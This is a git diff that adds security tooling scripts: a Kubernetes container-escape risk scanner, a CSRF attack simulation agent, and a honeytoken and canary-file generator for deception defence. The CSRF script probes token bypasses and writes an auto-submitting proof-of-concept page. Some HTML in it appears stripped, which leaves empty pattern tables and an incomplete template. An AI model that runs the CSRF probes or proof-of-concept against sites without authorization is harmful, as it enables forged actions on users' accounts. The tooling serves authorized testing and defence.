+config.load_kube_config() # or config.load_incluster_config() +v1 = client.CoreV1Api() + +pods = v1.list_pod_for_all_namespaces() +for pod in pods.items: + spec = pod.spec + # Check host namespace sharing + print(spec.host_pid, spec.host_network, spec.host_ipc) + for c in spec.containers: + sc = c.security_context + if sc: + print(sc.privileged, sc.capabilities, sc.run_as_user) + for vol in spec.volumes or []: + if vol.host_path: + print(vol.host_path.path) +``` + +## Container Escape Vectors + +| Vector | Field | Severity | +|--------|-------|----------| +| Privileged mode | `securityContext.privileged` | CRITICAL | +| SYS_ADMIN cap | `capabilities.add` | CRITICAL | +| Docker socket | `hostPath: /var/run/docker.sock` | CRITICAL | +| Host PID ns | `hostPID: true` | HIGH | +| Host Network | `hostNetwork: true` | HIGH | +| Writable / mount | `hostPath: /` | CRITICAL | +| Run as root | `runAsUser: 0` | MEDIUM | + +## Dangerous Linux Capabilities + +``` +SYS_ADMIN, SYS_PTRACE, SYS_RAWIO, SYS_MODULE, +DAC_READ_SEARCH, NET_ADMIN, NET_RAW +``` + +### References + +- kubernetes Python client: https://github.com/kubernetes-client/python +- Pod Security Standards: https://kubernetes.io/docs/concepts/security/pod-security-standards/ +- Container escapes: https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/ diff --git a/skills/performing-container-escape-detection/scripts/agent.py b/skills/performing-container-escape-detection/scripts/agent.py new file mode 100644 index 00000000..261529a3 --- /dev/null +++ b/skills/performing-container-escape-detection/scripts/agent.py @@ -0,0 +1,197 @@ +#!/usr/bin/env python3 +"""Agent for detecting container escape vectors in Kubernetes.""" + +import json +import argparse +from datetime import datetime + +from kubernetes import client, config + + +DANGEROUS_CAPS = [ + "SYS_ADMIN", "SYS_PTRACE", "SYS_RAWIO", "SYS_MODULE", + "DAC_READ_SEARCH", "NET_ADMIN", "NET_RAW", +] + +DANGEROUS_HOST_PATHS = ["/", "/etc", "/root", "/var/run/docker.sock", + "/var/run/crio", "/proc", "/sys"] + + +def load_kube_config(): + """Load Kubernetes configuration.""" + try: + config.load_incluster_config() + except config.ConfigException: + config.load_kube_config() + + +def check_privileged_containers(v1): + """Find pods running privileged containers.""" + findings = [] + pods = v1.list_pod_for_all_namespaces() + for pod in pods.items: + for container in pod.spec.containers or []: + sc = container.security_context + if sc and sc.privileged: + findings.append({ + "namespace": pod.metadata.namespace, + "pod": pod.metadata.name, + "container": container.name, + "issue": "privileged container", + "severity": "CRITICAL", + }) + return findings + + +def check_dangerous_capabilities(v1): + """Find containers with dangerous Linux capabilities.""" + findings = [] + pods = v1.list_pod_for_all_namespaces() + for pod in pods.items: + for container in pod.spec.containers or []: + sc = container.security_context + if not sc or not sc.capabilities or not sc.capabilities.add: + continue + for cap in sc.capabilities.add: + if cap in DANGEROUS_CAPS: + findings.append({ + "namespace": pod.metadata.namespace, + "pod": pod.metadata.name, + "container": container.name, + "capability": cap, + "severity": "HIGH", + }) + return findings + + +def check_host_namespaces(v1): + """Find pods sharing host PID, network, or IPC namespaces.""" + findings = [] + pods = v1.list_pod_for_all_namespaces() + for pod in pods.items: + spec = pod.spec + ns_issues = [] + if spec.host_pid: + ns_issues.append("hostPID") + if spec.host_network: + ns_issues.append("hostNetwork") + if spec.host_ipc: + ns_issues.append("hostIPC") + if ns_issues: + findings.append({ + "namespace": pod.metadata.namespace, + "pod": pod.metadata.name, + "host_namespaces": ns_issues, + "severity": "HIGH", + }) + return findings + + +def check_dangerous_mounts(v1): + """Find pods with dangerous hostPath volume mounts.""" + findings = [] + pods = v1.list_pod_for_all_namespaces() + for pod in pods.items: + for vol in pod.spec.volumes or []: + if not vol.host_path: + continue + path = vol.host_path.path + if any(path == dp or path.startswith(dp + "/") for dp in DANGEROUS_HOST_PATHS): + findings.append({ + "namespace": pod.metadata.namespace, + "pod": pod.metadata.name, + "volume": vol.name, + "host_path": path, + "severity": "CRITICAL" if path in ("/", "/var/run/docker.sock") else "HIGH", + }) + return findings + + +def check_docker_socket(v1): + """Specifically detect Docker/CRI socket mounts.""" + findings = [] + sockets = ["/var/run/docker.sock", "/var/run/crio/crio.sock", + "/run/containerd/containerd.sock"] + pods = v1.list_pod_for_all_namespaces() + for pod in pods.items: + for vol in pod.spec.volumes or []: + if vol.host_path and vol.host_path.path in sockets: + findings.append({ + "namespace": pod.metadata.namespace, + "pod": pod.metadata.name, + "socket_path": vol.host_path.path, + "severity": "CRITICAL", + }) + return findings + + +def check_root_containers(v1): + """Find containers running as root.""" + findings = [] + pods = v1.list_pod_for_all_namespaces() + for pod in pods.items: + for container in pod.spec.containers or []: + sc = container.security_context + if sc and sc.run_as_user == 0: + findings.append({ + "namespace": pod.metadata.namespace, + "pod": pod.metadata.name, + "container": container.name, + "issue": "running as UID 0", + "severity": "MEDIUM", + }) + elif not sc or sc.run_as_non_root is not True: + findings.append({ + "namespace": pod.metadata.namespace, + "pod": pod.metadata.name, + "container": container.name, + "issue": "runAsNonRoot not enforced", + "severity": "LOW", + }) + return findings + + +def main(): + parser = argparse.ArgumentParser(description="Container Escape Detection Agent") + parser.add_argument("--output", default="container_escape_report.json") + parser.add_argument("--action", choices=[ + "privileged", "capabilities", "namespaces", "mounts", "socket", "full_scan" + ], default="full_scan") + args = parser.parse_args() + + load_kube_config() + v1 = client.CoreV1Api() + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.action in ("privileged", "full_scan"): + findings = check_privileged_containers(v1) + report["findings"]["privileged"] = findings + print(f"[+] Privileged containers: {len(findings)}") + + if args.action in ("capabilities", "full_scan"): + findings = check_dangerous_capabilities(v1) + report["findings"]["dangerous_caps"] = findings + print(f"[+] Dangerous capabilities: {len(findings)}") + + if args.action in ("namespaces", "full_scan"): + findings = check_host_namespaces(v1) + report["findings"]["host_namespaces"] = findings + print(f"[+] Host namespace sharing: {len(findings)}") + + if args.action in ("mounts", "full_scan"): + findings = check_dangerous_mounts(v1) + report["findings"]["dangerous_mounts"] = findings + print(f"[+] Dangerous mounts: {len(findings)}") + + if args.action in ("socket", "full_scan"): + findings = check_docker_socket(v1) + report["findings"]["socket_mounts"] = findings + print(f"[+] Container runtime socket mounts: {len(findings)}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/performing-container-image-hardening/LICENSE b/skills/performing-container-image-hardening/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-container-image-hardening/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-content-security-policy-bypass/LICENSE b/skills/performing-content-security-policy-bypass/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-content-security-policy-bypass/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-credential-access-with-lazagne/LICENSE b/skills/performing-credential-access-with-lazagne/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-credential-access-with-lazagne/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-cryptographic-audit-of-application/LICENSE b/skills/performing-cryptographic-audit-of-application/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-cryptographic-audit-of-application/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-csrf-attack-simulation/LICENSE b/skills/performing-csrf-attack-simulation/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-csrf-attack-simulation/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-csrf-attack-simulation/references/api-reference.md b/skills/performing-csrf-attack-simulation/references/api-reference.md new file mode 100644 index 00000000..15350af0 --- /dev/null +++ b/skills/performing-csrf-attack-simulation/references/api-reference.md @@ -0,0 +1,57 @@ +# API Reference: Performing CSRF Attack Simulation + +## HTTP Headers for CSRF Protection + +| Header | Description | +|--------|-------------| +| `Set-Cookie: SameSite=Strict` | Prevents cookie from being sent in cross-site requests | +| `Set-Cookie: SameSite=Lax` | Allows cookies on top-level GET navigations only | +| `X-CSRF-Token` | Custom header carrying CSRF token | +| `Origin` | Sent by browsers on cross-origin POST requests | +| `Referer` | Indicates the source page of the request | + +## CSRF Token Patterns (HTML) + +| Pattern | Framework | +|---------|-----------| +| `` | Generic | +| `` | Django | +| `` | Ruby on Rails | +| `` | ASP.NET | +| `` | Rails/Laravel meta tag | + +## requests Library + +| Method | Description | +|--------|-------------| +| `session.get(url)` | Fetch page to extract CSRF tokens | +| `session.post(url, data)` | Submit form with/without CSRF token | +| `session.cookies` | Access session cookies for SameSite analysis | + +## Key Libraries + +- **requests** (`pip install requests`): HTTP client with session cookie management +- **beautifulsoup4** (`pip install beautifulsoup4`): Parse HTML forms and extract tokens +- **selenium** (optional): Browser-based CSRF testing with full JS execution + +## PoC Generation + +| Element | Purpose | +|---------|---------| +| `
` | Cross-origin form submission | +| `` | Pre-filled form parameters | +| `document.getElementById().submit()` | Auto-submit on page load | +| `` | GET-based CSRF via image tag | + +## OWASP Testing Guide + +| Test ID | Description | +|---------|-------------| +| WSTG-SESS-05 | Testing for Cross-Site Request Forgery | + +## References + +- [OWASP CSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html) +- [PortSwigger CSRF](https://portswigger.net/web-security/csrf) +- [MDN SameSite Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite) +- [Burp Suite CSRF PoC Generator](https://portswigger.net/burp/documentation/desktop/tools/engagement-tools/generate-csrf-poc) diff --git a/skills/performing-csrf-attack-simulation/scripts/agent.py b/skills/performing-csrf-attack-simulation/scripts/agent.py new file mode 100644 index 00000000..4e5b8688 --- /dev/null +++ b/skills/performing-csrf-attack-simulation/scripts/agent.py @@ -0,0 +1,252 @@ +#!/usr/bin/env python3 +""" +CSRF Attack Simulation Agent — AUTHORIZED TESTING ONLY +Tests web applications for Cross-Site Request Forgery vulnerabilities by +analyzing anti-CSRF protections and generating proof-of-concept payloads. + +WARNING: Only use with explicit written authorization for the target application. +""" + +import json +import re +import sys +from datetime import datetime, timezone +from urllib.parse import urlparse, parse_qs + +import requests +from requests.cookies import RequestsCookieJar + + +def analyze_csrf_protections(url: str, session: requests.Session = None) -> dict: + """Analyze a page for CSRF protection mechanisms.""" + if session is None: + session = requests.Session() + + try: + resp = session.get(url, timeout=15) + except requests.RequestException as e: + return {"url": url, "error": str(e)} + + result = { + "url": url, + "status_code": resp.status_code, + "csrf_tokens_found": [], + "samesite_cookies": [], + "custom_headers_required": False, + "protections": [], + "vulnerable": True, + } + + token_patterns = [ + r'name=["\']csrf[_-]?token["\'][^>]*value=["\']([^"\']+)', + r'name=["\']_token["\'][^>]*value=["\']([^"\']+)', + r'name=["\']authenticity_token["\'][^>]*value=["\']([^"\']+)', + r'name=["\']__RequestVerificationToken["\'][^>]*value=["\']([^"\']+)', + r'name=["\']csrfmiddlewaretoken["\'][^>]*value=["\']([^"\']+)', + ] + + for pattern in token_patterns: + matches = re.findall(pattern, resp.text, re.IGNORECASE) + if matches: + result["csrf_tokens_found"].extend(matches) + result["protections"].append("CSRF token in form") + result["vulnerable"] = False + + meta_pattern = r']*content=["\']([^"\']+)' + meta_matches = re.findall(meta_pattern, resp.text, re.IGNORECASE) + if meta_matches: + result["csrf_tokens_found"].extend(meta_matches) + result["protections"].append("CSRF token in meta tag") + result["vulnerable"] = False + + for cookie_name, cookie_value in resp.cookies.items(): + cookie_header = resp.headers.get("Set-Cookie", "") + samesite = "none" + if "samesite=strict" in cookie_header.lower(): + samesite = "strict" + elif "samesite=lax" in cookie_header.lower(): + samesite = "lax" + + result["samesite_cookies"].append({ + "name": cookie_name, + "samesite": samesite, + }) + + if samesite in ("strict", "lax"): + result["protections"].append(f"SameSite={samesite} cookie: {cookie_name}") + + if "x-csrf-token" in resp.headers.get("vary", "").lower(): + result["custom_headers_required"] = True + result["protections"].append("Custom X-CSRF-Token header required") + result["vulnerable"] = False + + return result + + +def find_state_changing_forms(url: str, session: requests.Session = None) -> list[dict]: + """Identify forms that perform state-changing actions (POST, PUT, DELETE).""" + if session is None: + session = requests.Session() + + resp = session.get(url, timeout=15) + form_pattern = re.compile( + r']*>(.*?)', re.DOTALL | re.IGNORECASE + ) + action_pattern = re.compile(r'action=["\']([^"\']*)', re.IGNORECASE) + method_pattern = re.compile(r'method=["\']([^"\']*)', re.IGNORECASE) + input_pattern = re.compile( + r']*name=["\']([^"\']+)["\'][^>]*(?:type=["\']([^"\']*)["\'])?', + re.IGNORECASE, + ) + + forms = [] + for match in form_pattern.finditer(resp.text): + form_html = match.group(0) + action = action_pattern.search(form_html) + method = method_pattern.search(form_html) + inputs = input_pattern.findall(form_html) + + method_val = method.group(1).upper() if method else "GET" + if method_val in ("POST", "PUT", "DELETE", "PATCH"): + form_data = { + "action": action.group(1) if action else url, + "method": method_val, + "inputs": [{"name": i[0], "type": i[1] or "text"} for i in inputs], + "has_csrf_token": any( + "csrf" in i[0].lower() or "token" in i[0].lower() + for i in inputs + ), + } + forms.append(form_data) + + return forms + + +def generate_csrf_poc(target_url: str, method: str, params: dict, auto_submit: bool = True) -> str: + """Generate CSRF proof-of-concept HTML page.""" + input_fields = "\n".join( + f' ' + for k, v in params.items() + ) + + auto_js = """ + """ if auto_submit else "" + + parsed = urlparse(target_url) + return f""" + + + CSRF PoC - {parsed.hostname} + + +

CSRF Proof of Concept

+

Target: {target_url}

+
+{input_fields} + +
+ {auto_js} + +""" + + +def test_csrf_token_validation(url: str, session: requests.Session) -> dict: + """Test if CSRF token validation can be bypassed.""" + bypass_results = [] + + resp = session.get(url, timeout=15) + token_match = re.search( + r'name=["\']csrf[_-]?token["\'][^>]*value=["\']([^"\']+)', + resp.text, re.IGNORECASE, + ) + + if token_match: + original_token = token_match.group(1) + + test_resp = session.post(url, data={"csrf_token": ""}, timeout=15) + bypass_results.append({ + "test": "Empty token", + "status": test_resp.status_code, + "bypassed": test_resp.status_code < 400, + }) + + test_resp = session.post(url, data={}, timeout=15) + bypass_results.append({ + "test": "Missing token parameter", + "status": test_resp.status_code, + "bypassed": test_resp.status_code < 400, + }) + + test_resp = session.post(url, data={"csrf_token": "invalid_token_value"}, timeout=15) + bypass_results.append({ + "test": "Invalid token value", + "status": test_resp.status_code, + "bypassed": test_resp.status_code < 400, + }) + + return {"url": url, "bypass_tests": bypass_results} + + +def generate_report(analysis: list[dict], forms: list[dict], bypass: list[dict]) -> str: + """Generate CSRF testing report.""" + lines = [ + "CSRF ATTACK SIMULATION REPORT — AUTHORIZED TESTING ONLY", + "=" * 60, + f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}", + "", + f"Endpoints Analyzed: {len(analysis)}", + f"State-Changing Forms: {len(forms)}", + f"Vulnerable: {sum(1 for a in analysis if a.get('vulnerable', False))}", + "", + "ENDPOINT ANALYSIS:", + "-" * 40, + ] + + for a in analysis: + status = "VULNERABLE" if a.get("vulnerable") else "PROTECTED" + lines.append(f" [{status}] {a.get('url', 'N/A')}") + for prot in a.get("protections", []): + lines.append(f" Protection: {prot}") + + if forms: + lines.extend(["", "STATE-CHANGING FORMS:"]) + for f in forms: + csrf = "YES" if f["has_csrf_token"] else "NO" + lines.append(f" {f['method']} {f['action']} (CSRF token: {csrf})") + + return "\n".join(lines) + + +if __name__ == "__main__": + print("[!] CSRF ATTACK SIMULATION — AUTHORIZED TESTING ONLY\n") + + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} [additional_paths...]") + sys.exit(1) + + target_url = sys.argv[1] + paths = sys.argv[2:] if len(sys.argv) > 2 else ["/", "/login", "/settings", "/account"] + + session = requests.Session() + analysis_results = [] + all_forms = [] + + for path in paths: + url = f"{target_url.rstrip('/')}/{path.lstrip('/')}" + print(f"[*] Analyzing {url}...") + result = analyze_csrf_protections(url, session) + analysis_results.append(result) + forms = find_state_changing_forms(url, session) + all_forms.extend(forms) + + report = generate_report(analysis_results, all_forms, []) + print(report) + + vulnerable = [a for a in analysis_results if a.get("vulnerable")] + if vulnerable: + poc = generate_csrf_poc(vulnerable[0]["url"], "POST", {"action": "test"}) + with open("csrf_poc.html", "w") as f: + f.write(poc) + print("\n[*] PoC saved to csrf_poc.html") diff --git a/skills/performing-cve-prioritization-with-kev-catalog/LICENSE b/skills/performing-cve-prioritization-with-kev-catalog/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-cve-prioritization-with-kev-catalog/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-dark-web-monitoring-for-threats/LICENSE b/skills/performing-dark-web-monitoring-for-threats/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-dark-web-monitoring-for-threats/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-deception-technology-deployment/LICENSE b/skills/performing-deception-technology-deployment/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-deception-technology-deployment/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-deception-technology-deployment/references/api-reference.md b/skills/performing-deception-technology-deployment/references/api-reference.md new file mode 100644 index 00000000..007fdf6e --- /dev/null +++ b/skills/performing-deception-technology-deployment/references/api-reference.md @@ -0,0 +1,59 @@ +# API Reference: Performing Deception Technology Deployment + +## Canary Tokens API (canarytokens.org) + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/generate` | POST | Generate a new canary token (DNS, HTTP, file) | +| `/history` | GET | Retrieve alert history for a token | +| `/manage` | GET | List all deployed tokens | + +## Thinkst Canary API + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/api/v1/canarytokens/create` | POST | Create a new canarytoken | +| `/api/v1/incidents/all` | GET | List all triggered incidents | +| `/api/v1/device/list` | GET | List deployed Canary devices | + +## Honeypot Components (stdlib) + +| Module | Description | +|--------|-------------| +| `http.server.HTTPServer` | HTTP honeypot listener | +| `socketserver.TCPServer` | Generic TCP honeypot | +| `secrets.token_hex()` | Generate unique token IDs | +| `hashlib.sha256()` | Hash canary file content for integrity | + +## Key Libraries + +- **secrets** (stdlib): Cryptographically secure token generation +- **http.server** (stdlib): HTTP honeypot server implementation +- **socket** (stdlib): TCP/UDP honeypot listeners +- **hashlib** (stdlib): File integrity hashing for canary files +- **threading** (stdlib): Run honeypot services in background threads + +## Honeytoken Types + +| Type | Deployment | Alert Trigger | +|------|------------|---------------| +| Credential | AD, LSASS, config files | Any authentication attempt | +| Canary File | Network shares, endpoints | File open/read access | +| DNS Token | Documents, scripts | DNS resolution | +| AWS Key | Code repos, config files | AWS API call with key | +| HTTP Token | Documents, emails | HTTP GET request | + +## Configuration + +| Variable | Description | +|----------|-------------| +| `CANARY_API_KEY` | Thinkst Canary API key | +| `CANARY_DOMAIN` | Canary DNS domain for token callbacks | +| `HONEYPOT_PORT` | Port for HTTP honeypot listener | + +## References + +- [Canarytokens.org](https://canarytokens.org/) +- [Thinkst Canary](https://canary.tools/) +- [MITRE ATT&CK D3FEND - Decoy](https://d3fend.mitre.org/technique/d3f:Decoy/) +- [OpenCanary](https://github.com/thinkst/opencanary) diff --git a/skills/performing-deception-technology-deployment/scripts/agent.py b/skills/performing-deception-technology-deployment/scripts/agent.py new file mode 100644 index 00000000..86c7743f --- /dev/null +++ b/skills/performing-deception-technology-deployment/scripts/agent.py @@ -0,0 +1,213 @@ +#!/usr/bin/env python3 +""" +Deception Technology Deployment Agent +Deploys and manages honeypots, honeytokens, and canary files to detect +lateral movement and credential abuse with near-zero false positive alerts. +""" + +import hashlib +import json +import os +import secrets +import socket +import sys +import threading +from datetime import datetime, timezone +from http.server import HTTPServer, BaseHTTPRequestHandler + + +def generate_honeytoken_credentials(count: int = 5) -> list[dict]: + """Generate fake credential honeytokens for deployment in AD and databases.""" + honeytokens = [] + templates = [ + ("svc_backup_admin", "Service account - backup system"), + ("admin_legacy", "Legacy admin account"), + ("db_migration_user", "Database migration service account"), + ("api_service_prod", "Production API service account"), + ("deploy_automation", "CI/CD deployment service account"), + ] + + for i in range(min(count, len(templates))): + username, description = templates[i] + token_id = secrets.token_hex(4) + honeytokens.append({ + "token_id": f"HT-{token_id}", + "type": "credential", + "username": f"{username}_{token_id[:4]}", + "password": secrets.token_urlsafe(24), + "description": description, + "deployment_location": "Active Directory / LSASS memory", + "alert_on": "Any authentication attempt", + "created": datetime.now(timezone.utc).isoformat(), + }) + + return honeytokens + + +def generate_canary_files(output_dir: str, count: int = 5) -> list[dict]: + """Generate canary files that trigger alerts when accessed.""" + canary_templates = [ + ("passwords.xlsx", "Fake password spreadsheet"), + ("salary_data_2024.csv", "Fake salary data"), + ("aws_credentials.txt", "Fake AWS access keys"), + ("vpn_config_backup.ovpn", "Fake VPN configuration"), + ("database_backup_prod.sql", "Fake database backup"), + ] + + canary_files = [] + os.makedirs(output_dir, exist_ok=True) + + for i in range(min(count, len(canary_templates))): + filename, description = canary_templates[i] + filepath = os.path.join(output_dir, filename) + token_id = secrets.token_hex(4) + + content = f"# CANARY FILE - Token: {token_id}\n" + content += f"# This file is a decoy. Any access triggers a security alert.\n" + content += f"# Description: {description}\n" + content += f"# Generated: {datetime.now(timezone.utc).isoformat()}\n\n" + + if "credentials" in filename or "password" in filename: + content += "admin:P@ssw0rd_fake_canary_2024\n" + content += "root:SuperSecret_fake_canary!\n" + elif "aws" in filename: + content += f"[default]\naws_access_key_id = AKIA{secrets.token_hex(8).upper()}\n" + 